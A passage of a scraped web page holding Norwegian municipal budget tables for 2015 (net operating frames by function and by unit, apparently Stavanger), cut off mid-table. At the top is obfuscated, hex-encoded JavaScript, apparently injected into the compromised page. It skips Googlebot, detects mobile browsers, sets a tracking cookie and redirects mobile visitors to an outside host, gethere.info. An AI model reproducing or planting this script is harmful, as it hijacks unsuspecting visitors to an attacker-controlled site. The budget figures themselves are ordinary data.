_0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Netto driftsrammer per kostrafunksjon Vedtatt budsj. 2015 Vedtatt budsj. 2014 % Endr 2014-2015 100 Politisk styring 51 958 44 458 16,9 % 110 Kontroll og revisjon 5 300 5 200 1,9 % 120 Administrasjon 330 035 347 583 -5,1 % 121 Forvaltningsutgifter i eiendomsforvaltningen 22 675 21 475 5,6 % 130 Administrasjonslokaler 50 704 45 992 10,3 % 170 Årets premieavvik -125 066 −179 378 -30,3 % 171 Amortisering av tidligere års premieavvik 70 179 45 672 53,7 % 172 Pensjon 270 904 322 628 -16,0 % 173 Premiefond -26 017 −14 922 74,4 % 180 Diverse fellesutgifter 354 331 155 862 127,3 % 190 Interne serviceenheter 0 48 -100,0 % 201 Førskole 888 658 907 925 -2,1 % 202 Grunnskole 1 143 019 1 169 869 -2,3 % 211 Styrket tilbud til førskolebarn 139 563 134 413 3,8 % 213 Voksenopplæring 35 973 34 173 5,3 % 215 Skolefritidstilbud 14 342 19 242 -25,5 % 221 Førskolelokaler og skyss 101 887 101 272 0,6 % 222 Skolelokaler 225 097 231 944 -3,0 % 223 Skoleskyss 6 595 6 595 0,0 % 231 Aktivitetstilbud barn og unge 30 227 31 927 -5,3 % 232 Forebygging, helsest.- og skoleh.Tjeneste 68 442 68 892 -0,7 % 233 Annet forebyggende helsearbeid 30 822 31 272 -1,4 % 234 Aktivisering- og servicetj overfor eldre og personer med funksjonsnedsettelser 88 245 86 245 2,3 % 241 Diagnose, behandling, re-/habilitering 156 629 160 079 -2,2 % 242 Råd, veiledning og sosial forebyggende arbeid 85 875 66 325 29,5 % 243 Tilbud til personer med rusproblemer 67 227 71 777 -6,3 % 244 Barneverntjeneste 60 542 62 392 -3,0 % 251 Barneverntiltak når barnet ikke er plassert av barnevernet 17 554 17 554 0,0 % 252 Barneverntiltak når barnet er plassert av barnevernet 180 238 172 238 4,6 % 253 Helse- og omsorgstjenester i institusjon 817 118 821 218 -0,5 % 254 Helse- og omsorgstjenester til hjemmeboende 826 959 833 224 -0,8 % 255 Medfinansiering somatiske tjenester -2 006 107 394 -101,9 % 256 Tilbud om øyeblikkelig hjelp døgnopphold i kommunene 0 0 261 Institusjonslokaler 84 718 78 108 8,5 % 265 Kommunalt disponerte boliger -104 118 -91 268 14,1 % 273 Arbeidsrettede tiltak i kommunal regi 14 782 15 232 -3,0 % 275 Introduksjonsordningen 34 366 29 866 15,1 % 276 Kvalifiseringsordningen 40 778 40 778 281 Økonomisk sosialhjelp 116 516 116 516 283 Bistand til etablering og opprettholdelse av egen bolig 17 278 14 910 15,9 % 285 Tjenester utenfor ordinært kommunalt ansvarsområde 4 008 2 858 40,2 % 301 Plansaksbehandling 61 088 63 188 -3,3 % 302 Byggesaksbehandling og eierseksjonering 0 1 063 -100,0 % 303 Kart og oppmåling 8 013 7 513 6,7 % 304 Bygge-og delesaksbehandling, ansvaresrett og utslippstillatelser 111 0 305 Eierseksjonering 575 575 320 Kommunal næringsvirksomhet -10 006 -10 006 325 Tilrettelegging og bistand for næringslivet -5 999 -824 628,0 % 329 Landbruksforvaltning og landbruksbasert næringsutvikling 792 792 330 Samferdselsbedrifter/transporttiltak 1 780 1 780 332 Kommunale veier 88 361 92 461 -4,4 % 335 Rekreasjon i tettsted 53 184 57 882 -8,1 % 338 Forebygging av branner og andre ulykker 26 630 23 784 12,0 % 339 Beredskap mot branner og andre ulykker 76 662 77 148 -0,6 % 340 Produksjon av vann -1 464 0 345 Distribusjon av vann 1 464 0 350 Avløpsrensing -9 720 0 353 Avløpsnett/innsamling av avløpsvann 39 -9 195 -100,4 % 354 Tømming av slamavskillere, septiktanker o.L. 0 0 355 Innsamling, gjenvinning og sluttbehandling av husholdningsavfall 0 0 360 Naturforvaltning og friluftsliv 18 307 17 507 4,6 % 365 Kulturminneforvaltning 497 497 370 Bibliotek 51 376 49 226 4,4 % 375 Museer 19 455 19 455 377 Kunstformidling 58 133 56 287 3,3 % 380 Idrett og tilskudd til andres idrettsanlegg 47 168 52 993 -11,0 % 381 Kommunale idrettsbygg og idrettsanlegg 107 352 99 562 7,8 % 383 Musikk- og kulturskoler 29 088 31 888 -8,8 % 385 Andre kulturaktiviteter og tilskudd til andres kulturbygg 70 445 58 611 20,2 % 386 Kommunale kulturbygg 19 872 19 872 390 Den norske kirke 79 274 76 834 3,2 % 392 Andre religiøse formål 12 000 10 300 16,5 % 800 Skatt på inntekt og formue -5 214 800 -5 281 900 -1,3 % 840 Statlige rammetilskudd og øvrige generelle statstilskudd -1 610 023 -1 474 791 9,2 % 850 Generelt statstilskudd vedrørende flyktninger mv. -84 424 -84 424 860 Motpost avskrivninger -447 440 -439 693 1,8 % 870 Renter/utbytte og lån (innlån og utlån) 236 453 271 129 -12,8 % 880 Interne finansieringstransaksjoner 119 420 72 898 63,8 % Nettosum alle funksjoner 0 0
Last ned tabelldata (Excel)
Netto driftsrammer per virksomhet Vedtatt budsj. 2015 Vedtatt budsj. 2014 % Endr 2014-2015 Rådmann, stab og støttefunksjoner Rådmann 10 Lønn 20 081 20 081 11 Forbruk 220 220 12 Drift 346 346 14 Overføringer 1 963 1 963 Sum utgifter 22 610 22 610 17 Refusjoner -13 363 -13 363 Sum inntekter -13 363 -13 363 Nettosum Rådmann 9 247 9 247 Økonomi 10 Lønn 25 092 28 092 -10,7 % 11 Forbruk 4 543 4 543 12 Drift 2 775 2 775 14 Overføringer 321 321 15 Finansutgifter/finanstransaksjoner 47 47 Sum utgifter 32 778 35 778 -8,4 % 16 Salgsinntekter -21 -21 17 Refusjoner -370 -370 19 Finansinntekter/finanstransaksjoner -47 -47 Sum inntekter -438 -438 Nettosum Økonomi 32 340 35 340 -8,5 % SK-Regnskap 10 Lønn 34 070 35 070 -2,9 % 11 Forbruk 3 945 3 945 12 Drift 1 693 1 693 13 Kjøp av tjenester 20 20 14 Overføringer 412 412 15 Finansutgifter/finanstransaksjoner 119 119 Sum utgifter 40 259 41 259 -2,4 % 16 Salgsinntekter -5 146 -4 875 5,6 % 17 Refusjoner -4 120 -3 416 20,6 % 19 Finansinntekter/finanstransaksjoner -119 -119 Sum inntekter -9 385 -8 410 11,6 % Nettosum SK-Regnskap 30 874 32 849 -6,0 % IT 10 Lønn 21 082 21 082 11 Forbruk 16 009 16 009 12 Drift 37 588 37 588 14 Overføringer 9 757 9 757 15 Finansutgifter/finanstransaksjoner 6 539 6 539 Sum utgifter 90 975 90 975 16 Salgsinntekter -9 236 -7 936 16,4 % 17 Refusjoner -10 372 -10 372 18 Overføringer -204 -204 19 Finansinntekter/finanstransaksjoner -6 539 -6 539 Sum inntekter -26 351 -25 051 5,2 % Nettosum IT 64 624 65 924 -2,0 % Kemner 10 Lønn 18 683 18 683 11 Forbruk 3 087 3 087 12 Drift 382 382 14 Overføringer 792 792 15 Finansutgifter/finanstransaksjoner 11 11 Sum utgifter 22 955 22 955 16 Salgsinntekter -2 510 -2 010 24,9 % 17 Refusjoner -2 544 -1 519 67,5 % 19 Finansinntekter/finanstransaksjoner -11 -11 Sum inntekter -5 065 -3 540 43,1 % Nettosum Kemner 17 890 19 415 -7,9 % Personal og organisasjon 10 Lønn 90 286 94 850 -4,8 % 11 Forbruk 23 585 27 565 -14,4 % 12 Drift 10 309 11 109 -7,2 % 13 Kjøp av tjenester 6 090 6 090 14 Overføringer 3 402 3 402 15 Finansutgifter/finanstransaksjoner 193 193 Sum utgifter 133 865 143 209 -6,5 % 16 Salgsinntekter -6 854 -6 354 7,9 % 17 Refusjoner -12 120 -12 120 18 Overføringer -180 -180 19 Finansinntekter/finanstransaksjoner -193 -193 Sum inntekter -19 347 -18 847 2,7 % Nettosum Personal og organisasjon 114 518 124 362 -7,9 % Funksjon 190 - Personal og organisasjon 10 Lønn 0 6 -10 Sum utgifter 0 6 -10 Nettosum Personal og organisasjon 0 6 -10 Kommunikasjonsavdeling 10 Lønn 5 271 5 371 -1,9 % 11 Forbruk 663 663 12 Drift 1 738 1 238 40,4 % 14 Overføringer 168 168 15 Finansutgifter/finanstransaksjoner 51 51 Sum utgifter 7 891 7 491 5,3 % 16 Salgsinntekter -130 -130 17 Refusjoner -188 -188 19 Finansinntekter/finanstransaksjoner -51 -51 Sum inntekter -369 -369 Nettosum Kommunikasjonsavdeling 7 522 7 122 5,6 % Næring 10 Lønn 2 082 1 832 13,7 % 11 Forbruk 1 754 554 216,6 % 12 Drift 861 861 13 Kjøp av tjenester 70 70 14 Overføringer 12 12 Sum utgifter 4 779 3 329 43,6 % 16 Salgsinntekter -70 -70 17 Refusjoner −12 -12 Sum inntekter -82 -82 Nettosum Næring 4 697 3 247 44,7 % Støtte til næringsutvikling 12 Drift 1 986 1 986 14 Overføringer 370 70 428,6 % Sum utgifter 2 356 2 056 14,6 % 17 Refusjoner -70 -70 Sum inntekter -70 -70 Nettosum Støtte til næringsutvikling 2 286 1 986 15,1 % Kommuneadvokat 10 Lønn 4 566 4 466 2,2 % 11 Forbruk 2 091 2 091 12 Drift 404 204 98,0 % 14 Overføringer 78 78 Sum utgifter 7 139 6 839 4,4 % 16 Salgsinntekter -40 -40 17 Refusjoner -78 -78 Sum inntekter -118 -118 Nettosum Kommuneadvokat 7 021 6 721 4,5 % Politisk sekretariat 10 Lønn 8 497 8 697 -2,3 % 11 Forbruk 2 239 2 239 12 Drift 285 285 14 Overføringer 110 110 15 Finansutgifter/finanstransaksjoner 326 326 Sum utgifter 11 457 11 657 -1,7 % 19 Finansinntekter/finanstransaksjoner -326 -326 Sum inntekter -326 -326 Nettosum Politisk sekretariat 11 131 11 331 -1,8 % Nettosum Rådmann, stab og støttefunksjoner 302 150 317 550 -4,9 % Oppvekst og levekår Stab Oppvekst og levekår 10 Lønn 59 455 61 505 -3,3 % 11 Forbruk 6 069 4 569 32,8 % 12 Drift 1 610 1 610 13 Kjøp av tjenester 255 255 14 Overføringer 1 073 1 323 -18,9 % 15 Finansutgifter/finanstransaksjoner 2 809 2 809 Sum utgifter 71 271 72 071 -1,1 % 16 Salgsinntekter -698 -698 17 Refusjoner -1 668 -1 668 19 Finansinntekter/finanstransaksjoner -2 809 -2 809 Sum inntekter -5 175 -5 175 Nettosum Stab Oppvekst og levekår 66 096 66 896 -1,2 % Barnehage 10 Lønn 676 891 684 791 -1,2 % 11 Forbruk 116 023 116 023 13 Kjøp av tjenester 416 866 416 333 0,1 % 14 Overføringer 5 756 5 756 15 Finansutgifter/finanstransaksjoner 2 696 2 696 Sum utgifter 1 218 232 1 225 599 -0,6 % 16 Salgsinntekter -133 129 -120 129 10,8 % 17 Refusjoner -52 416 -52 416 19 Finansinntekter/finanstransaksjoner -2 696 -2 696 Sum inntekter -188 241 -175 241 7,4 % Nettosum Barnehage 1 029 991 1 050 358 -1,9 % Ressurssenter for styrket barnehagetilbud 10 Lønn 59 873 53 473 12,0 % 11 Forbruk 3 109 3 109 14 Overføringer 551 551 Sum utgifter 63 533 57 133 11,2 % 17 Refusjoner -2 523 -2 523 Sum inntekter -2 523 -2 523 Nettosum Ressurssenter for styrket barnehagetilbud 61 010 54 610 11,7 % Grunnskole 10 Lønn 1 189 233 1 209 483 -1,7 % 11 Forbruk 274 072 280 747 -2,4 % 12 Drift 4 504 4 504 13 Kjøp av tjenester 36 606 35 906 2,0 % 14 Overføringer 21 096 20 796 1,4 % 15 Finansutgifter/finanstransaksjoner 12 125 12 125 Sum utgifter 1 537 636 1 563 561 -1,7 % 16 Salgsinntekter -119 784 -114 884 4,3 % 17 Refusjoner -96 010 -96 010 19 Finansinntekter/finanstransaksjoner -12 125 -12 125 Sum inntekter -227 919 -223 019 2,2 % Nettosum Grunnskole 1 309 717 1 340 542 -2,3 % Johannes læringssenter 10 Lønn 135 432 133 932 1,1 % 11 Forbruk 22 492 17 692 27,1 % 12 Drift 3 090 3 090 14 Overføringer 5 987 5 987 15 Finansutgifter/finanstransaksjoner 1 841 1 841 Sum utgifter 168 842 162 542 3,9 % 16 Salgsinntekter -8 864 -8 864 17 Refusjoner -51 511 -51 511 19 Finansinntekter/finanstransaksjoner -1 841 -1 841 Sum inntekter -62 216 -62 216 Nettosum Johannes læringssenter 106 626 100 326 6,3 % Stavanger kulturskole 10 Lønn 38 523 40 873 -5,8 % 11 Forbruk 4 767 4 767 12 Drift 809 809 13 Kjøp av tjenester 1 514 1 514 14 Overføringer 636 636 15 Finansutgifter/finanstransaksjoner 81 81 Sum utgifter 46 330 48 680 -4,8 % 16 Salgsinntekter -12 826 -12 376 3,6 % 17 Refusjoner -1 213 -1 213 19 Finansinntekter/finanstransaksjoner -81 -81 Sum inntekter -14 120 -13 670 3,3 % Nettosum Stavanger kulturskole 32 210 35 010 -8,0 % Pedagogisk-psykologisk tjeneste 10 Lønn 34 734 35 784 -2,9 % 11 Forbruk 4 237 4 237 12 Drift 301 301 13 Kjøp av tjenester 200 200 14 Overføringer 515 515 15 Finansutgifter/finanstransaksjoner 180 180 Sum utgifter 40 167 41 217 -2,6 % 17 Refusjoner -1 564 -1 564 19 Finansinntekter/finanstransaksjoner -180 -180 Sum inntekter -1 744 -1 744 Nettosum Pedagogisk-psykologisk tjeneste 38 423 39 473 -2,7 % Ungdom og fritid 10 Lønn 48 593 49 793 -2,4 % 11 Forbruk 21 804 21 804 12 Drift 2 909 2 909 13 Kjøp av tjenester 241 241 14 Overføringer 12 776 13 276 -3,8 % 15 Finansutgifter/finanstransaksjoner 260 260 Sum utgifter 86 583 88 283 -1,9 % 16 Salgsinntekter -4 542 -4 542 17 Refusjoner -12 819 -12 819 18 Overføringer -60 -60 19 Finansinntekter/finanstransaksjoner -260 -260 Sum inntekter -17 681 -17 681 Nettosum Ungdom og fritid 68 902 70 602 -2,4 % Helsestasjon og skolehelsetjenesten 10 Lønn 49 080 50 930 -3,6 % 11 Forbruk 9 616 9 616 12 Drift 292 292 13 Kjøp av tjenester 2 146 2 146 14 Overføringer 4 016 4 016 15 Finansutgifter/finanstransaksjoner 208 208 Sum utgifter 65 358 67 208 -2,8 % 17 Refusjoner -2 952 -2 952 19 Finansinntekter/finanstransaksjoner -208 -208 Sum inntekter -3 160 -3 160 Nettosum Helsestasjon og skolehelsetjenesten 62 198 64 048 -2,9 % Helse- og sosialkontor 10 Lønn 71 086 74 686 -4,8 % 11 Forbruk 26 416 26 416 12 Drift 1 405 850 1 407 525 -0,1 % 13 Kjøp av tjenester 80 222 80 222 14 Overføringer 19 525 17 525 11,4 % Sum utgifter 1 603 099 1 606 374 -0,2 % 17 Refusjoner -44 560 -44 560 Sum inntekter -44 560 -44 560 Nettosum Helse- og sosialkontor 1 558 539 1 561 814 -0,2 % NAV 10 Lønn 69 199 69 399 -0,3 % 11 Forbruk 5 509 5 509 12 Drift 360 360 13 Kjøp av tjenester 4 795 4 795 14 Overføringer 149 695 128 695 16,3 % 15 Finansutgifter/finanstransaksjoner 1 230 1 230 Sum utgifter 230 788 209 988 9,9 % 17 Refusjoner -11 698 -11 698 19 Finansinntekter/finanstransaksjoner -1 361 -1 361 Sum inntekter -13 059 -13 059 Nettosum NAV 217 729 196 929 10,6 % Fysio- og ergoterapitjenesten 10 Lønn 35 165 37 728 -6,8 % 11 Forbruk 6 102 6 102 12 Drift 365 365 13 Kjøp av tjenester 20 797 20 797 14 Overføringer 1 530 1 530 Sum utgifter 63 959 66 522 -3,9 % 16 Salgsinntekter -49 -49 17 Refusjoner -9 184 -9 367 -2,0 % Sum inntekter -9 233 -9 416 -1,9 % Nettosum Fysio- og ergoterapitjenesten 54 726 57 106 -4,2 % Barnevernstjenesten 10 Lønn 128 687 126 537 1,7 % 11 Forbruk 28 801 28 801 12 Drift 14 552 14 552 13 Kjøp av tjenester 44 533 40 333 10,4 % 14 Overføringer 7 346 7 346 15 Finansutgifter/finanstransaksjoner 111 111 Sum utgifter 224 030 217 680 2,9 % 16 Salgsinntekter -10 -10 17 Refusjoner -22 691 -22 691 19 Finansinntekter/finanstransaksjoner -111 -111 Sum inntekter -22 812 -22 812 Nettosum Barnevernstjenesten 201 218 194 868 3,3 % Helsehuset i Stavanger 10 Lønn 1 564 1 564 11 Forbruk 2 000 1 000 10 12 Drift 2 000 2 000 14 Overføringer 7 250 7 750 -6,5 % Sum utgifter 12 814 12 314 4,1 % 17 Refusjoner -500 -500 Sum inntekter -500 -500 Nettosum Helsehuset i Stavanger 12 314 11 814 4,2 % Hjemmebaserte tjenesterinkl. Stavanger hjemmehjelp 10 Lønn 694 173 688 510 0,8 % 11 Forbruk 38 059 36 259 5,0 % 12 Drift 24 952 21 352 16,9 % 13 Kjøp av tjenester 4 643 4 613 0,7 % 14 Overføringer 14 082 14 082 15 Finansutgifter/finanstransaksjoner 230 230 Sum utgifter 776 139 765 046 1,5 % 16 Salgsinntekter -8 496 -8 496 17 Refusjoner -616 741 -612 958 0,6 % 19 Finansinntekter/finanstransaksjoner -230 -230 Sum inntekter -625 467 -621 684 0,6 % Nettosum Hjemmebaserte tjenesterinkl. Stavanger hjemmehjelp 150 672 143 362 5,1 % Alders- og sykehjem 10 Lønn 464 244 473 294 -1,9 % 11 Forbruk 136 700 136 700 12 Drift 3 000 3 000 13 Kjøp av tjenester 421 563 416 513 1,2 % 14 Overføringer 17 907 17 907 15 Finansutgifter/finanstransaksjoner 2 547 2 547 Sum utgifter 1 045 961 1 049 961 -0,4 % 16 Salgsinntekter -161 688 -161 688 17 Refusjoner -799 390 -787 740 1,5 % 19 Finansinntekter/finanstransaksjoner -2 547 -2 547 Sum inntekter -963 625 -951 975 1,2 % Nettosum Alders- og sykehjem 82 336 97 986 -16,0 % Stavanger legevakt 10 Lønn 45 695 45 895 -0,4 % 11 Forbruk 8 356 8 356 12 Drift 1 417 1 417 13 Kjøp av tjenester 382 382 14 Overføringer 5 521 5 521 15 Finansutgifter/finanstransaksjoner 22 22 Sum utgifter 61 393 61 593 -0,3 % 16 Salgsinntekter -10 564 -10 564 17 Refusjoner -18 249 -15 349 18,9 % 18 Overføringer -2 533 -2 533 19 Finansinntekter/finanstransaksjoner -22 -22 Sum inntekter -31 368 -28 468 10,2 % Nettosum Stavanger legevakt 30 025 33 125 -9,4 % Rehabiliteringsseksjonen 10 Lønn 35 905 40 205 -10,7 % 11 Forbruk 5 089 5 089 12 Drift 1 157 1 157 13 Kjøp av tjenester 662 662 14 Overføringer 529 529 15 Finansutgifter/finanstransaksjoner 79 79 Sum utgifter 43 421 47 721 -9,0 % 16 Salgsinntekter -984 -984 17 Refusjoner -2 081 -2 081 19 Finansinntekter/finanstransaksjoner -79 -79 Sum inntekter -3 144 -3 144 Nettosum Rehabiliteringsseksjonen 40 277 44 577 -9,7 % Arbeidstreningsseksjonen 10 Lønn 8 325 8 775 -5,1 % 11 Forbruk 3 807 3 807 12 Drift 488 488 13 Kjøp av tjenester 1 375 1 375 14 Overføringer 810 810 15 Finansutgifter/finanstransaksjoner 161 161 Sum utgifter 14 966 15 416 -2,9 % 16 Salgsinntekter -48 -48 17 Refusjoner -2 938 -2 938 19 Finansinntekter/finanstransaksjoner -161 -161 Sum inntekter -3 147 -3 147 Nettosum Arbeidstreningsseksjonen 11 819 12 269 -3,7 % Flyktningseksjonen 10 Lønn 7 252 7 252 11 Forbruk 1 450 1 450 12 Drift 10 10 14 Overføringer 491 491 15 Finansutgifter/finanstransaksjoner 52 52 Sum utgifter 9 255 9 255 16 Salgsinntekter -414 -414 17 Refusjoner -280 -280 19 Finansinntekter/finanstransaksjoner -52 -52 Sum inntekter -746 -746 Nettosum Flyktningseksjonen 8 509 8 509 EMbo 10 Lønn 44 650 44 850 -0,5 % 11 Forbruk 8 024 8 024 12 Drift 1 170 1 170 13 Kjøp av tjenester 10 10 Sum utgifter 53 854 54 054 -0,4 % 17 Refusjoner -44 254 -44 254 Sum inntekter -44 254 -44 254 Nettosum EMbo 9 600 9 800 -2,0 % Dagsenter- og avlastningsseksjonen 10 Lønn 143 397 131 472 9,1 % 11 Forbruk 19 667 19 667 12 Drift 1 349 1 349 13 Kjøp av tjenester 270 270 14 Overføringer 2 887 2 887 Sum utgifter 167 570 155 645 7,7 % 16 Salgsinntekter -956 -956 17 Refusjoner -52 701 -60 201 -12,5 % Sum inntekter -53 657 -61 157 -12,3 % Nettosum Dagsenter- og avlastningsseksjonen 113 913 94 488 20,6 % Tekniske hjemmetjenester 10 Lønn 4 177 4 177 11 Forbruk 1 640 1 640 12 Drift 871 871 13 Kjøp av tjenester 86 86 14 Overføringer 609 609 15 Finansutgifter/finanstransaksjoner 186 186 Sum utgifter 7 569 7 569 16 Salgsinntekter -5 435 -5 435 17 Refusjoner -636 -636 19 Finansinntekter/finanstransaksjoner -186 -186 Sum inntekter -6 257 -6 257 Nettosum Tekniske hjemmetjenester 1 312 1 312 Krisesenteret i Stavanger 10 Lønn 10 851 10 551 2,8 % 11 Forbruk 2 701 2 701 12 Drift 120 120 14 Overføringer 70 70 Sum utgifter 13 742 13 442 2,2 % 17 Refusjoner -2 550 -2 550 Sum inntekter -2 550 -2 550 Nettosum Krisesenteret i Stavanger 11 192 10 892 2,8 % Sentrale midler levekår 10 Lønn 7 200 7 200 11 Forbruk 2 708 2 708 12 Drift 3 956 3 956 13 Kjøp av tjenester 17 799 17 799 14 Overføringer 28 758 153 258 -81,2 % 15 Finansutgifter/finanstransaksjoner 2 799 2 799 Sum utgifter 63 220 187 720 -66,3 % 16 Salgsinntekter -2 125 -2 125 17 Refusjoner -109 367 -105 367 3,8 % 19 Finansinntekter/finanstransaksjoner -2 799 -2 799 Sum inntekter -114 291 -110 291 3,6 % Nettosum Sentrale midler levekår -51 071 77 429 -166,0 % Sentrale midler legetjeneste 10 Lønn 5 519 5 769 -4,3 % 11 Forbruk 32 32 13 Kjøp av tjenester 61 260 60 260 1,7 % Sum utgifter 66 811 66 061 1,1 % 17 Refusjoner -4 990 -4 990 Sum inntekter -4 990 -4 990 Nettosum Sentrale midler legetjeneste 61 821 61 071 1,2 % Nettosum Oppvekst og levekår 5 290 104 5 439 216 -2,7 % Stab Bymiljø og utbygging 10 Lønn 3 874 3 974 -2,5 % 11 Forbruk 571 571 12 Drift 245 245 14 Overføringer 127 127 Sum utgifter 4 817 4 917 -2,0 % 17 Refusjoner -127 -127 Sum inntekter -127 -127 Nettosum Stab Bymiljø og utbygging 4 690 4 790 -2,1 % Miljø 10 Lønn 2 523 2 623 -3,8 % 11 Forbruk 2 226 1 726 29,0 % 12 Drift 1 900 2 300 -17,4 % 14 Overføringer 970 970 15 Finansutgifter/finanstransaksjoner 208 208 Sum utgifter 7 827 7 827 17 Refusjoner -1 570 -1 570 18 Overføringer -1 500 -1 500 19 Finansinntekter/finanstransaksjoner -208 -208 Sum inntekter -3 278 -3 278 Nettosum Miljø 4 549 4 549 Utbygging 10 Lønn 3 828 3 928 -2,6 % 11 Forbruk 31 31 12 Drift 210 210 14 Overføringer 860 10 850 Sum utgifter 4 929 4 179 18,0 % 16 Salgsinntekter -7 800 0 17 Refusjoner -10 -10 Sum inntekter -7 810 -10 7800 Nettosum Utbygging -2 881 4 169 -169,1 % Stavanger Eiendom 10 Lønn 18 676 19 626 -4,8 % 11 Forbruk 78 788 78 888 -0,1 % 12 Drift 43 363 43 513 -0,3 % 13 Kjøp av tjenester 55 012 55 012 14 Overføringer 11 830 11 830 15 Finansutgifter/finanstransaksjoner 52 335 52 335 Sum utgifter 260 004 261 204 -0,5 % 16 Salgsinntekter -254 826 -247 926 2,8 % 17 Refusjoner -23 624 -23 624 18 Overføringer -1 000 0 19 Finansinntekter/finanstransaksjoner -269 146 -269 146 Sum inntekter -548 596 -540 696 1,5 % Nettosum Stavanger Eiendom -288 592 -279 492 3,3 % Funksjon 190 - Stavanger Eiendom 10 Lønn 11 866 11 866 11 Forbruk 12 912 12 912 12 Drift 65 003 65 003 13 Kjøp av tjenester 101 613 101 613 14 Overføringer 10 922 10 922 15 Finansutgifter/finanstransaksjoner 216 811 216 811 Sum utgifter 419 127 419 127 16 Salgsinntekter -406 486 -406 486 17 Refusjoner -12 641 -12 641 Sum inntekter -419 127 -419 127 Nettosum Stavanger Eiendom 0 0 Park og vei 10 Lønn 15 028 16 378 -8,2 % 11 Forbruk 20 325 21 525 -5,6 % 12 Drift 36 686 38 946 -5,8 % 13 Kjøp av tjenester 73 463 76 603 -4,1 % 14 Overføringer 12 510 12 660 -1,2 % 15 Finansutgifter/finanstransaksjoner 33 471 33 471 Sum utgifter 191 483 199 583 -4,1 % 16 Salgsinntekter 